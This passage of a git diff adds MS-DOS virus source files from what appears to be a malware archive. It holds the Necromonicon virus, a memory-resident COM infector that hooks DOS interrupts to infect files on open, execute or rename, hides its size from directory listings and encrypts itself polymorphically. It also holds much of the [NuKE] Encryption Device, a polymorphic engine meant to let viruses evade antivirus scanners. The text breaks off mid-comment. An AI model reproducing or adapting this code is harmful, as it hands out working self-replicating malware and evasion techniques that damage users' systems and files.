Dx,NewInt1c + Pop Ds + Int 21h + +Installed: Mov Di,100h + Lea Si,Org_Prg[Bp] + Push Cs + Push Cs + Pop Ds + Pop Es + Cld + Movsw + Movsb + Mov Bx,100h + Pop Ax + Push Bx + Ret + +OldInt1c DD 0 + +NewInt1c: Pushf + Push Ds + Push Ax + Xor Ax,Ax + Push Ax + Pop Ds + Mov Ax,Word Ptr Ds:[46ch] + Dec Word Ptr Ds:[46ch] + Dec Word Ptr Ds:[46ch] + Cmp Ax,Word Ptr Ds:[46ch] + Ja EOI1C + Dec Word Ptr Ds:[46eh] +EOI1C: Pop Ax + Pop Ds + Popf + Iret + +Old21 dd 0 + +New21: cmp ax,0deadh + jne chkfunc + mov ax,0aaaah + mov cx,ax + iret +chkfunc: cmp ah,11h + je findFCBst + cmp ah,12h + je findfcbst + cmp ah,4eh + je findst + cmp ah,4fh + je findst + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + cmp ah,3dh + je infectHan + cmp ax,4b00h + je infectHan + cmp ah,41h + je infectHan + cmp ah,43h + je infectHan + cmp ah,56h + je infectHan + cmp ah,0fh + je infectFCB + cmp ah,23h + je infectFCB + cmp ah,6ch + je infectdos4 + jmp endint + +findfcbst: jmp findfcb +findst: jmp find + +InfectFCB: mov si,dx + inc si + push cs + pop es + lea di,fnam + mov cx,8 + rep movsb + mov cx,3 + inc di + rep movsb + lea dx,fnam + push cs + pop ds + +InfectHan: mov si,dx + mov cx,100h + cld +findpnt: lodsb + cmp al,'.' + je chkcom + loop findpnt + jmp endi + +infectdos4: and dx,0fh + cmp dx,1 + jne endi + mov dx,si + jmp infecthan + +chkcom: lodsw + or ax,2020h + cmp ax,'oc' + jne endi + lodsb + or al,20h + cmp al,'m' + jne endi + jmp doitj +endi: jmp endint +doitj: push dx + push ds + mov ax,4300h + call dos + mov cs:fatr,cx + mov ax,4301h + xor cx,cx + call dos + mov ax,3d02h + call dos + jnc getdate + jmp error +getdate: xchg ax,bx + mov ax,5700h + call dos + mov cs:fdat,cx + mov cs:fdat[2],dx + and cx,1fh + cmp cx,1fh + jne chkexe + jmp done +chkexe: mov ah,3fh + push cs + pop ds + lea dx,Org_prg + mov cx,3 + call dos + cmp word ptr cs:Org_prg[0],'ZM' + je close + cmp word ptr cs:Org_prg[0],'MZ' + je close + + Mov ax,4202h + xor cx,cx + xor dx,dx + call dos + + sub ax,3 + mov cs:jump[1],ax + + Add Ax,Offset Crypt+103h + Mov S_1[1],Ax + Mov S_2[1],Ax + Mov S_3[4],Ax + Mov S_4[4],Ax + Call GenPoly + + mov ah,40h + push cs + pop ds + lea dx,coder + mov cx,virlen + call dos + + mov ax,4200h + xor cx,cx + xor dx,dx + call dos + + mov ah,40h + lea dx,jump + mov cx,3 + call dos + + or cs:fdat,01fh + +close: mov ax,5701h + mov cx,cs:fdat + mov dx,cs:fdat[2] + call dos + +done: mov ah,3eh + call dos + pop ds + pop dx + push dx + push ds + mov ax,4301h + mov cx,fatr + call dos + +error: pop ds + pop dx + +endint: pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[old21] + +GenPoly: Xor Byte Ptr [Loopje],2 + Xor Ax,Ax + Mov Es,Ax + Mov Ax,Es:[46ch] + Mov Es,Cs + Push Ax + And Ax,07ffh + Add Ax,CryptLen + Mov S_1[4],Ax + Mov S_2[4],Ax + Mov S_3[1],Ax + Mov S_4[1],Ax +Doit: Pop Ax + Push Ax + And Ax,3 + Shl Ax,1 + Mov Si,Ax + Mov Ax,Word Ptr Table[Si] + Mov Si,Ax + Lea Di,decr + Movsw + Movsw + Movsw + Movsw + Pop Ax + Stosb + Movsb + Mov Dl,Al + Lea Si,Decr + Lea Di,Coder + Mov Cx,DecrLen + Rep Movsb + Lea Si,Crypt + Mov Cx,CryptLen +Encrypt: Lodsb + Xor Al,Dl + Stosb + Loop Encrypt + Cmp Dl,0 + Je Fuckit + Ret + +FuckIt: Lea Si,Encr0 + Lea Di,Coder + Mov Cx,Encr0Len + Rep Movsb + Mov Ax,Cs:jump[1] + Add Ax,Encr0Len+2 + Mov Cs:jump[1],Ax + Ret + +Table DW Offset S_1 + DW Offset S_2 + DW Offset S_3 + DW Offset S_4 + +S_1: Lea Si,0 + Mov Cx,0 + DB 80h,34h + Inc Si +S_2: Lea Di,0 + Mov Cx,0 + DB 80h,35h + Inc Di +S_3: Mov Cx,0 + Lea Si,0 + DB 80h,34h + Inc Si +S_4: Mov Cx,0 + Lea Di,0 + DB 80h,35h + Inc Di + + Db '[ ' +Encr0 Db 'John Tardy' +Encr0Len Equ $-Encr0 + + Db ' / Trident' + Db ' ]' + +getdta: pop si + pushf + push ax + push bx + push es + mov ah,2fh + call dos + jmp short si + +FindFCB: call DOS + cmp al,0 + jne Ret1 + call getdta + cmp byte ptr es:[bx],-1 + jne FCBOk + add bx,8 +FCBOk: mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ch],Virlen + sbb word ptr es:[bx+1eh],0 + jmp short Time + +Find: call DOS + jc Ret1 + call getdta + mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ah],VirLen + sbb word ptr es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h +FileOk: pop es + pop bx + pop ax + popf +Ret1: retf 2 + + Db '| Trapped in a spell of the Necromonicon |' + +dos: pushf + call dword ptr cs:[old21] + ret + +Org_prg dw 0cd90h + db 20h + +fnam db 8 dup (0) + db '.' + db 3 dup (0) + db 0 +fatr dw 0 +fdat dw 0,0 + + +jump db 0e9h,0,0 + +ResLen Equ ($-Decr)/10h + +ParLen Equ (Reslen*2)+10h + +CryptLen Equ $-Crypt + +VirLen Equ $-Decr + +Coder Equ $ diff --git a/MSDOS/Virus.MSDOS.Unknown.necromin.asm b/MSDOS/Virus.MSDOS.Unknown.necromin.asm new file mode 100644 index 00000000..2f3b9099 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.necromin.asm @@ -0,0 +1,417 @@ +; +; Necromonicon Virus by John Tardy +; + + Org 0h + +decr: jmp Crypt + db 'Carcass' +Loopje DB 0e2h + db 0fah +DecrLen Equ $-Decr + +Crypt: Push Ax + call Get_Ofs +Get_Ofs: pop Bp + sub Bp,Get_Ofs + Mov Ax,0DEADh + Int 21h + Cmp Ax,0AAAAh + Je Installed + + mov ax,3521h + int 21h + mov word ptr cs:old21[bp],bx + mov word ptr cs:old21[bp][2],es + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds:[0000],'Z' + jne installed + mov ax,word ptr ds:[0003] + sub ax,ParLen + jb installed + mov word ptr ds:[0003],ax + sub word ptr ds:[0012h],ParLen + lea si,decr[bp] + mov di,0 + mov es,ds:[12h] + mov ds,cs + mov cx,virlen + cld + rep movsb + mov ax,2521h + mov ds,es + mov dx,offset new21 + int 21h + push es + Mov Ax,351ch + Int 21h + Mov Word Ptr OldInt1c[0],Bx + Mov Word Ptr OldInt1c[2],Es + Mov Ax,251ch + Lea Dx,NewInt1c + Pop Ds + Int 21h + +Installed: Mov Di,100h + Lea Si,Org_Prg[Bp] + Push Cs + Push Cs + Pop Ds + Pop Es + Cld + Movsw + Movsb + Mov Bx,100h + Pop Ax + Push Bx + Ret + +OldInt1c DD 0 + +NewInt1c: Pushf + Push Ds + Push Ax + Xor Ax,Ax + Push Ax + Pop Ds + Mov Ax,Word Ptr Ds:[46ch] + Dec Word Ptr Ds:[46ch] + Dec Word Ptr Ds:[46ch] + Cmp Ax,Word Ptr Ds:[46ch] + Ja EOI1C + Dec Word Ptr Ds:[46eh] +EOI1C: Pop Ax + Pop Ds + Popf + Iret + +Old21 dd 0 + +New21: cmp ax,0deadh + jne chkfunc + mov ax,0aaaah + mov cx,ax + iret +chkfunc: cmp ah,11h + je findFCBst + cmp ah,12h + je findfcbst + cmp ah,4eh + je findst + cmp ah,4fh + je findst + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + cmp ah,3dh + je infectHan + cmp ax,4b00h + je infectHan + cmp ah,41h + je infectHan + cmp ah,43h + je infectHan + cmp ah,56h + je infectHan + cmp ah,0fh + je infectFCB + cmp ah,23h + je infectFCB + cmp ah,6ch + je infectdos4 + jmp endint + +findfcbst: jmp findfcb +findst: jmp find + +InfectFCB: mov si,dx + inc si + push cs + pop es + lea di,fnam + mov cx,8 + rep movsb + mov cx,3 + inc di + rep movsb + lea dx,fnam + push cs + pop ds + +InfectHan: mov si,dx + mov cx,100h + cld +findpnt: lodsb + cmp al,'.' + je chkcom + loop findpnt + jmp endi + +infectdos4: and dx,0fh + cmp dx,1 + jne endi + mov dx,si + jmp infecthan + +chkcom: lodsw + or ax,2020h + cmp ax,'oc' + jne endi + lodsb + or al,20h + cmp al,'m' + jne endi + jmp doitj +endi: jmp endint +doitj: push dx + push ds + mov ax,4300h + call dos + mov cs:fatr,cx + mov ax,4301h + xor cx,cx + call dos + mov ax,3d02h + call dos + jnc getdate + jmp error +getdate: xchg ax,bx + mov ax,5700h + call dos + mov cs:fdat,cx + mov cs:fdat[2],dx + and cx,1fh + cmp cx,1fh + jne chkexe + jmp done +chkexe: mov ah,3fh + push cs + pop ds + lea dx,Org_prg + mov cx,3 + call dos + cmp word ptr cs:Org_prg[0],'ZM' + je close + cmp word ptr cs:Org_prg[0],'MZ' + je close + + Mov ax,4202h + xor cx,cx + xor dx,dx + call dos + + sub ax,3 + mov cs:jump[1],ax + + Add Ax,Offset Crypt+103h + Mov S_1[1],Ax + Mov S_2[1],Ax + Mov S_3[4],Ax + Mov S_4[4],Ax + Call GenPoly + + mov ah,40h + push cs + pop ds + lea dx,coder + mov cx,virlen + call dos + + mov ax,4200h + xor cx,cx + xor dx,dx + call dos + + mov ah,40h + lea dx,jump + mov cx,3 + call dos + + or cs:fdat,01fh + +close: mov ax,5701h + mov cx,cs:fdat + mov dx,cs:fdat[2] + call dos + +done: mov ah,3eh + call dos + pop ds + pop dx + push dx + push ds + mov ax,4301h + mov cx,fatr + call dos + +error: pop ds + pop dx + +endint: pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[old21] + +GenPoly: Xor Byte Ptr [Loopje],2 + Xor Ax,Ax + Mov Es,Ax + Mov Ax,Es:[46ch] + Mov Es,Cs + Push Ax + And Ax,07ffh + Add Ax,CryptLen + Mov S_1[4],Ax + Mov S_2[4],Ax + Mov S_3[1],Ax + Mov S_4[1],Ax +Doit: Pop Ax + Push Ax + And Ax,3 + Shl Ax,1 + Mov Si,Ax + Mov Ax,Word Ptr Table[Si] + Mov Si,Ax + Lea Di,decr + Movsw + Movsw + Movsw + Movsw + Pop Ax + Stosb + Movsb + Mov Dl,Al + Lea Si,Decr + Lea Di,Coder + Mov Cx,DecrLen + Rep Movsb + Lea Si,Crypt + Mov Cx,CryptLen +Encrypt: Lodsb + Xor Al,Dl + Stosb + Loop Encrypt + Cmp Dl,0 + Je Fuckit + Ret + +FuckIt: Lea Si,Encr0 + Lea Di,Coder + Mov Cx,Encr0Len + Rep Movsb + Mov Ax,Cs:jump[1] + Add Ax,Encr0Len+2 + Mov Cs:jump[1],Ax + Ret + +Table DW Offset S_1 + DW Offset S_2 + DW Offset S_3 + DW Offset S_4 + +S_1: Lea Si,0 + Mov Cx,0 + DB 80h,34h + Inc Si +S_2: Lea Di,0 + Mov Cx,0 + DB 80h,35h + Inc Di +S_3: Mov Cx,0 + Lea Si,0 + DB 80h,34h + Inc Si +S_4: Mov Cx,0 + Lea Di,0 + DB 80h,35h + Inc Di + + Db '[ ' +Encr0 Db 'John Tardy' +Encr0Len Equ $-Encr0 + + Db ' / Trident' + Db ' ]' + +getdta: pop si + pushf + push ax + push bx + push es + mov ah,2fh + call dos + jmp short si + +FindFCB: call DOS + cmp al,0 + jne Ret1 + call getdta + cmp byte ptr es:[bx],-1 + jne FCBOk + add bx,8 +FCBOk: mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ch],Virlen + sbb word ptr es:[bx+1eh],0 + jmp short Time + +Find: call DOS + jc Ret1 + call getdta + mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ah],VirLen + sbb word ptr es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h +FileOk: pop es + pop bx + pop ax + popf +Ret1: retf 2 + + Db '| Trapped in a spell of the Necromonicon |' + +dos: pushf + call dword ptr cs:[old21] + ret + +Org_prg dw 0cd90h + db 20h + +fnam db 8 dup (0) + db '.' + db 3 dup (0) + db 0 +fatr dw 0 +fdat dw 0,0 + + +jump db 0e9h,0,0 + +ResLen Equ ($-Decr)/10h + +ParLen Equ (Reslen*2)+10h + +CryptLen Equ $-Crypt + +VirLen Equ $-Decr + +Coder Equ $ diff --git a/MSDOS/Virus.MSDOS.Unknown.ned09.asm b/MSDOS/Virus.MSDOS.Unknown.ned09.asm new file mode 100644 index 00000000..6fddda68 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ned09.asm @@ -0,0 +1,958 @@ +;****************************************************************************** +; [NuKE] BETA TEST VERSION -- NOT FOR PUBLIC RELEASE! +; +; This product is not to be distributed to ANYONE without the complete and +; total agreement of both the author(s) and [NuKE]. This applies to all +; source code, executable code, documentation, and other files included in +; this package. +; +; Unless otherwise specifically stated, even the mere existance of this +; product is not to be mentioned to or discussed in any fashion with ANYONE, +; except with the author(s) and/or other [NuKE] members. +; +; WARNING: This product has been marked in such a way that, if an +; unauthorized copy is discovered ANYWHERE, the violation can be easily +; traced back to its source, who will be located and punished. +; YOU HAVE BEEN WARNED. +;****************************************************************************** + + +;******************************************************************************* +; The [NuKE] Encryption Device v0.90á +; +; (C) 1992 Nowhere Man and [NuKE] International Software Development Corp. +; All Rights Reserved. Unauthorized use strictly prohibited. +; +;******************************************************************************* +; Written by Nowhere Man +; October 18, 1992 +; Version 0.90á +;******************************************************************************* +; +; Synopsis: The [NuKE] Encryption Device (N.E.D.) is a polymorphic mutation +; engine, along the lines of Dark Avenger's now-famous MtE. +; Unlike MtE, however, N.E.D. can't be SCANned, and probably will +; never be, either, since there is no reliable pattern between +; mutations, and the engine itself (and its RNG) are always +; kept encrypted. +; +; N.E.D. is easily be added to a virus. Every infection with +; that virus will henceforth be completely different from all +; others, and all will be unscannable, thanks to the Cryptex(C) +; polymorphic mutation algorithm. +; +; N.E.D. only adds about 15 or so bytes of decryption code +; (probably more, depending on which options are enabled), plus +; the 1355 byte overhead needed for the engine itself (about half +; the size of MtE!). +;******************************************************************************* + + +;******************************************************************************* +; Segment declarations +;******************************************************************************* + +.model tiny +.code + + +;******************************************************************************* +; Equates used to save three bytes of code (was it worth it?) +;******************************************************************************* + +load_point equ si + _load_point - ned_start +encr_instr equ si + _encr_instr - ned_start +store_point equ si + _store_point - ned_start + +buf_ptr equ si + _buf_ptr - ned_start +copy_len equ si + _copy_len - ned_start +copy_off equ si + _copy_off - ned_start +v_start equ si + _v_start - ned_start +options equ si + _options - ned_start + +byte_word equ si + _byte_word - ned_start +up_down equ si + _up_down - ned_start +mem_reg equ si + _mem_reg - ned_start +loop_reg equ si + _loop_reg - ned_start +key_reg equ si + _key_reg - ned_start + +mem_otr equ si + _mem_otr - ned_start +used_it equ si + _used_it - ned_start +jump_here equ si + _jump_here - ned_start +adj_here equ si + _adj_here - ned_start + +word_adj_table equ si + _word_adj_table - ned_start +byte_adj_table equ si + _byte_adj_table - ned_start + +the_key equ si + _the_key - ned_start + +crypt_type equ si + _crypt_type - ned_start +op_byte equ si + _op_byte - ned_start +rev_op_byte equ si + _rev_op_byte - ned_start +modr_m equ si + _modr_m - ned_start + +dummy_word_cmd equ si + _dummy_word_cmd - ned_start +dummy_three_cmd equ si + _dummy_three_cmd - ned_start + +tmp_jmp_store equ si + _tmp_jmp_store - ned_start +jump_table equ si + _jump_table - ned_start + +rand_val equ si + _rand_val - ned_start + + +;****************************************************************************** +; Publics +;****************************************************************************** + +public nuke_enc_dev +public ned_end + + + +;******************************************************************************* +; [NuKE] Encryption Device begins here.... +;******************************************************************************* + +ned_begin label near ; Start of the N.E.D.'s code + + +;****************************************************************************** +; nuke_enc_dev +; +; This procedure merely calls ned_main. +; +; Arguments: Same as ned_main; this is a shell procedure +; +; Returns: Same as ned_main; this is a shell procedure +;****************************************************************************** + +nuke_enc_dev proc near + public nuke_enc_dev ; Name in .OBJs and .LIBs + + push bx ; + push cx ; + push dx ; Preserve registers + push si ; (except for AX, which is + push di ; used to return something) + push bp ; + + call ned_main ; Call the [NuKE] Encryption + ; Device, in all it's splendor + + pop bp ; + pop di ; + pop si ; + pop dx ; Restore registers + pop cx ; + pop bx ; + + ret ; Return to the main virus + + +; This the copyright message (hey, I wrote the thing, so I can waste a few +; bytes bragging...). + +copyright db 13,10 + db "[NuKE] Encryption Device v0.90á",13,10 + db "(C) 1992 Nowhere Man and [NuKE]",13,10,0 +nuke_enc_dev endp + + +;****************************************************************************** +; ned_main +; +; Fills a buffer with a random decryption routine and encrypted viral code. +; +; Arguments: AX = offset of buffer to hold data +; BX = offset of code start +; CX = offset of the virus in memory (next time around!) +; DX = length of code to copy and encrypt +; SI = options: +; bit 0: dummy instructions +; bit 1: MOV variance +; bit 2: ADD/SUB substitution +; bit 3: garbage code +; bit 4: don't assume DS = CS +; bits 5-15: reserved +; +; Returns: AX = size of generated decryption routine and encrypted code +;****************************************************************************** + +ned_main proc near + mov di,si ; We'll need SI, so use DI + not di ; Reverse all bits for TESTs + + call ned_start ; Ah, the old virus trick +ned_start: pop si ; for getting our offset... + + mov word ptr [used_it],0 ; A truely hideous way to + mov word ptr [used_it + 2],0; reset the register usage + mov word ptr [used_it + 4],0; flags... + mov byte ptr [used_it + 6],0; + + add dx,ned_end - ned_begin ; Be sure to encrypt ourself! + + mov word ptr [buf_ptr],ax ; Save the function + mov word ptr [copy_off],bx ; arguments in an + mov word ptr [v_start],cx ; internal buffer + mov word ptr [copy_len],dx ; for later use + mov word ptr [options],di ; + + xchg di,ax ; Need the buffer offset in DI + + mov ax,2 ; Select a random number + call rand_num ; between 0 and 1 + mov word ptr [byte_word],ax ; Save byte/word flag + + mov ax,2 ; Select another random number + call rand_num ; between 0 and 1 + xor ax,ax ; !!!!DELETE ME!!!! + mov word ptr [up_down],ax ; Save up/down flag + + mov ax,4 ; Select a random number + call rand_num ; between 0 and 3 + mov word ptr [mem_reg],ax ; Save memory register + xchg bx,ax ; Place in BX for indexing + shl bx,1 ; Convert to word index + mov bx,word ptr [mem_otr + bx] ; Get register number + inc byte ptr [used_it + bx] ; Cross off register + + xor cx,cx ; We need a word register + call random_reg ; Get a random register + inc byte ptr [used_it + bx] ; Cross it off... + mov word ptr [loop_reg],ax ; Save loop register + + mov ax,2 ; Select a random number + call rand_num ; between 0 and 1 + or ax,ax ; Does AX = 0? + je embedded_key ; If so, the key's embedded + mov cx,word ptr [byte_word] ; CX holds the byte word flag + neg cx ; By NEGating CX and adding one + inc cx ; CX will be flip-flopped + call random_reg ; Get a random register + inc byte ptr [used_it + bx] ; Cross it off... + mov word ptr [key_reg],ax ; Save key register + jmp short create_routine ; Ok, let's get to it! +embedded_key: mov word ptr [key_reg],-1 ; Set embedded key flag + +create_routine: call add_nop ; Add a do-nothing instruction? + mov ax,2 ; Select a random number + call rand_num ; between 0 and 1 + or ax,ax ; Does AX = 0? + je pointer_first ; If so, load pointer then count + call load_count ; Load start register + call add_nop ; Add a do-nothing instruction? + call load_pointer ; Load pointer register + jmp short else_end1 ; Skip the ELSE part +pointer_first: call load_pointer ; Load start register + call add_nop ; Add a do-nothing instruction? + call load_count ; Load count register +else_end1: call add_nop ; Add a do-nothing instruction? + call load_key ; Load encryption key + call add_nop ; Add a do-nothing instruction? + mov word ptr [jump_here],di ; Save the offset of the loop + call add_decrypt ; Create the decryption code + call add_nop ; Add a do-nothing instruction? + call adjust_ptr ; Adjust the memory pointer + call add_nop ; Add a do-nothing instruction? + call end_loop ; End the decryption loop + call random_fill ; Pad with random bullshit? + + mov ax,di ; AX points to our current place + sub ax,word ptr [buf_ptr] ; AX now holds # bytes written + + mov bx,word ptr [adj_here] ; Find where we need to adjust + add word ptr [bx],ax ; Adjust the starting offset + + add ax,word ptr [copy_len] ; Add length of encrypted code + push ax ; Save this for later + + mov bx,word ptr [crypt_type]; BX holds encryption type + mov bl,byte ptr [rev_op_byte + bx] ; Load encryption byte + mov bh,0D8h ; Fix a strange problem... + mov word ptr [encr_instr],bx; Save it into our routine + + mov cx,word ptr [copy_len] ; CX holds # of bytes to encrypt + cmp word ptr [byte_word],0 ; Are we doing it by bytes? + je final_byte_k ; If so, reset LODS/STOS stuff + mov byte ptr [load_point],0ADh ; Change it to a LODSW + mov byte ptr [store_point],0ABh ; Change it to a STOSW + shr cx,1 ; Do half as many repetitions + mov bx,word ptr [the_key] ; Reload the key + inc byte ptr [encr_instr] ; Fix up for words... + jmp short encrypt_virus ; Let's go! +final_byte_k: mov byte ptr [load_point],0ACh ; Change it to a LODSW + mov byte ptr [store_point],0AAh ; Change it to a STOSW + mov bl,byte ptr [the_key] ; Ok, so I did this poorly... + +encrypt_virus: mov si,word ptr [copy_off] ; SI points to the original code + + +; This portion of the code is self-modifying. It may be bad style, but +; it's far more efficient than writing six or so different routines... + +_load_point: lodsb ; Load a byte/word into AL +_encr_instr: xor al,bl ; Encrypt the byte/word +_store_point: stosb ; Store the byte/word at ES:[DI] + loop _load_point ; Repeat until all bytes done + +; Ok, we're through... back to normal + + + pop ax ; AX holds routine length + + ret ; Return to caller + +_buf_ptr dw ? ; Pointer: storage buffer +_copy_len dw ? ; Integer: # bytes to copy +_copy_off dw ? ; Pointer: original code +_v_start dw ? ; Pointer: virus start in file +_options dw ? ; Integer: bits set options + +_byte_word dw ? ; Boolean: 0 = byte, 1 = word +_up_down dw ? ; Boolean: 0 = up, 1 = down +_mem_reg dw ? ; Integer: 0-4 (SI, DI, BX, BP) +_loop_reg dw ? ; Integer: 0-6 (AX, BX, etc.) +_key_reg dw ? ; Integer: -1 = internal + +_mem_otr dw 4,5,1,6 ; Array: Register # for mem_reg +_used_it db 7 dup (0) ; Array: 0 = unused, 1 = used +_jump_here dw ? ; Pointer: Start of loop +_adj_here dw ? ; Pointer: Where to adjust +ned_main endp + + +;****************************************************************************** +; load_count +; +; Adds code to load the count register, which stores the number of +; iterations that the decryption loop must make. if _byte_word = 0 +; then this value is equal to the size of the code to be encrypted; +; if _byte_word = 1 (increment by words), it is half that length +; (since two bytes are decrypted at a time). +; +; Arguments: SI = offset of ned_start +; DI = offset of storage buffer +; +; Returns: None +;****************************************************************************** + +load_count proc near + mov bx,word ptr [loop_reg] ; BX holds register number + mov dx,word ptr [copy_len] ; DX holds size of virus + mov cx,word ptr [byte_word] ; Neat trick to divide by + shr dx,cl ; two if byte_word = 1 + mov cx,1 ; We're doing a word register + call gen_mov ; Generate a move + ret ; Return to caller + +_word_adj_table db 00h, 03h, 01h, 02h, 06h, 07h, 05h ; Array: ModR/M adj. +_byte_adj_table db 04h, 00h, 07h, 03h, 05h, 01h, 06h, 02h ; Array ""/byte +load_count endp + + +;****************************************************************************** +; load_pointer +; +; Adds code to load the pointer register, which points to the byte +; or word of memory that is to be encrypted. Due to the flaws of +; 8086 assembly language, only the SI, DI, BX, and BP registers may +; be used. +; +; Arguments: SI = offset of ned_start +; DI = offset of storage buffer +;****************************************************************************** + +load_pointer proc near + mov bx,word ptr [mem_reg] ; BX holds register number + shl bx,1 ; Convert to word index + mov bx,word ptr [mem_otr + bx] ; Convert register number + mov al,byte ptr [word_adj_table + bx] ; Table look-up + add al,0B8h ; Create a MOV instruction + stosb ; Store it in the code + mov word ptr [adj_here],di ; Save our current offset + mov ax,word ptr [v_start] ; AX points to virus (in host) + cmp word ptr [up_down],0 ; Are we going upwards? + je no_adjust ; If so, no ajustment needed + add ax,word ptr [copy_len] ; Point to end of virus +no_adjust: stosw ; Store the start offset + ret ; Return to caller +load_pointer endp + + +;****************************************************************************** +; load_key +; +; Adds code to load the encryption key into a register. If _byte_word = 0 +; a 8-bit key is used; if it is 1 then a 16-bit key is used. If the key +; is supposed to be embedded, no code is generated at this point. +; +; Arguments: SI = offset of ned_start +; DI = offset of storage buffer +; +; Returns: None +;****************************************************************************** + +load_key proc near + mov ax,0FFFFh ; Select a random number + call rand_num ; between 0 and 65534 + inc ax ; Eliminate any null keys + mov word ptr [the_key],ax ; Save key for later + mov bx,word ptr [key_reg] ; DX holds the register number + cmp bx,-1 ; Is the key embedded? + je blow_this_proc ; If so, just leave now + xchg dx,ax ; DX holds key + mov cx,word ptr [byte_word] ; CX holds byte/word flag + call gen_mov ; Load the key into the register +blow_this_proc: ret ; Return to caller + +_the_key dw ? ; Integer: The encryption key +load_key endp + + +;****************************************************************************** +; add_decrypt +; +; Adds code to dencrypt a byte or word (pointed to by the pointer register) +; by either a byte or word register or a fixed byte or word. +; +; Arguments: SI = offset of ned_start +; DI = offset of storage buffer +; +; Returns: None +;****************************************************************************** + +add_decrypt proc near + test word ptr [options],010000b ; Do we need a CS: override + jne no_override ; If not, don't add it... + mov al,02Eh ; Store a code-segment + stosb ; override instruction (CS:) +no_override: mov ax,3 ; Select a random number + call rand_num ; between 0 and 2 + mov word ptr [crypt_type],ax; Save encryption type + xchg bx,ax ; Now transfer it into BX + mov ax,word ptr [byte_word] ; 0 if byte, 1 if word + cmp word ptr [key_reg],-1 ; Is the key embedded? + je second_case ; If so, it's a different story + + add al,byte ptr [op_byte + bx] ; Adjust by operation type + stosb ; Place the byte in the code + + mov ax,word ptr [mem_reg] ; AX holds register number + mov cl,3 ; To get the ModR/M table + shl ax,cl ; offset, multiply by eight + mov bx,word ptr [key_reg] ; BX holds key register number + cmp word ptr [byte_word],0 ; Is this a byte? + je byte_by_reg ; If so, special case + mov bl,byte ptr [word_adj_table + bx] ; Create ModR/M + jmp short store_it_now ; Now save the byte +byte_by_reg: mov bl,byte ptr [byte_adj_table + bx] ; Create ModR/M +store_it_now: xor bh,bh ; Clear out any old data + add bx,ax ; Add the first index + mov al,byte ptr [modr_m + bx] ; Table look-up + stosb ; Save it into the code + cmp word ptr [mem_reg],3 ; Are we using BP? + jne a_d_exit1 ; If not, leave + xor al,al ; For some dumb reason we'll + stosb ; have to specify a 0 adjustment +a_d_exit1: ret ; Return to caller + + +second_case: add al,080h ; Create the first byte + stosb ; and store it in the code + + mov al,byte ptr [op_byte + bx] ; Load up the OP byte + mov bx,word ptr [mem_reg] ; BX holds register number + mov cl,3 ; To get the ModR/M table + shl bx,cl ; offset, multiply by eight + add al,byte ptr [modr_m + bx] ; Add result of table look-up + stosb ; Save it into the code + cmp word ptr [mem_reg],3 ; Are we using BP? + jne store_key ; If not, store the key + xor al,al ; For some dumb reason we'll + stosb ; have to specify a 0 adjustment +store_key: cmp word ptr [byte_word],0 ; Is this a byte? + je byte_by_byte ; If so, special case + mov ax,word ptr [the_key] ; Load up *the key* + stosw ; Save the whole two bytes! + jmp short a_d_exit2 ; Let's split, man +byte_by_byte: mov al,byte ptr [the_key] ; Load up *the key* + stosb ; Save it into the code +a_d_exit2: ret ; Return to caller + +_crypt_type dw ? ; Integer: Type of encryption +_op_byte db 030h,000h,028h ; Array: OP byte of instruction +_rev_op_byte db 030h,028h,000h ; Array: Reverse OP byte of "" +_modr_m db 004h, 00Ch, 014h, 01Ch, 024h, 02Ch, 034h, 03Ch ; SI + db 005h, 00Dh, 015h, 01Dh, 025h, 02Dh, 035h, 03Dh ; DI + db 007h, 00Fh, 017h, 01Fh, 027h, 02Fh, 037h, 03Fh ; BX + db 046h, 04Eh, 056h, 05Eh, 066h, 06Eh, 076h, 07Eh ; BP +add_decrypt endp + + +;****************************************************************************** +; adjust_ptr +; +; Adds code to adjust the memory pointer. There are two possible choices: +; INC/DEC and ADD/SUB (inefficient, but provides variation). +; +; Arguments: SI = offset of ned_start +; DI = offset of storage buffer +; +; Returns: None +;****************************************************************************** + +adjust_ptr proc near + mov cx,word ptr [byte_word] ; CX holds byte/word flag + inc cx ; Increment; now # INCs/DECs + mov bx,word ptr [mem_reg] ; BX holds register number + shl bx,1 ; Convert to word index + mov bx,word ptr [mem_otr + bx] ; Convert register number + mov dx,word ptr [up_down] ; DX holds up/down flag + call gen_add_sub ; Create code to adjust pointer + ret ; Return to caller +adjust_ptr endp + + +;****************************************************************************** +; end_loop +; +; Adds code to adjust the count variable, test to see if it's zero, +; and repeat the decryption loop if it is not. There are three possible +; choices: LOOP (only if the count register is CX), SUB/JNE (inefficient, +; but provides variation), and DEC/JNE (best choice for non-CX registers). +; +; Arguments: SI = offset of ned_start +; DI = offset of storage buffer +; +; Returns: None +;****************************************************************************** + +end_loop proc near + mov bx,word ptr [loop_reg] ; BX holds register number + cmp bx,2 ; Are we using CX? + jne dec_jne ; If not, we can't use LOOP + mov ax,2 ; Select a random number + call rand_num ; between 0 and 1 + or ax,ax ; Does AX = 0? + jne dec_jne ; If not, standard ending + mov al,0E2h ; We'll do a LOOP instead + stosb ; Save the OP byte + jmp short store_jmp_loc ; Ok, now find the offset +dec_jne: mov cx,1 ; Only adjust by one + mov dx,1 ; We're subtracting... + call gen_add_sub ; Create code to adjust count + mov al,075h ; We'll do a JNE to save + stosb ; Store a JNE OP byte +store_jmp_loc: mov ax,word ptr [jump_here] ; Find old offset + sub ax,di ; Adjust relative jump + dec ax ; Adjust by one (DI is off) + stosb ; Save the jump offset + ret ; Return to caller +end_loop endp + + +;****************************************************************************** +; add_nop +; +; Adds between 0 and 3 do-nothing instructions to the code, if they are +; allowed by the user (bit 0 set). +; +; Arguments: SI = offset of ned_start +; DI 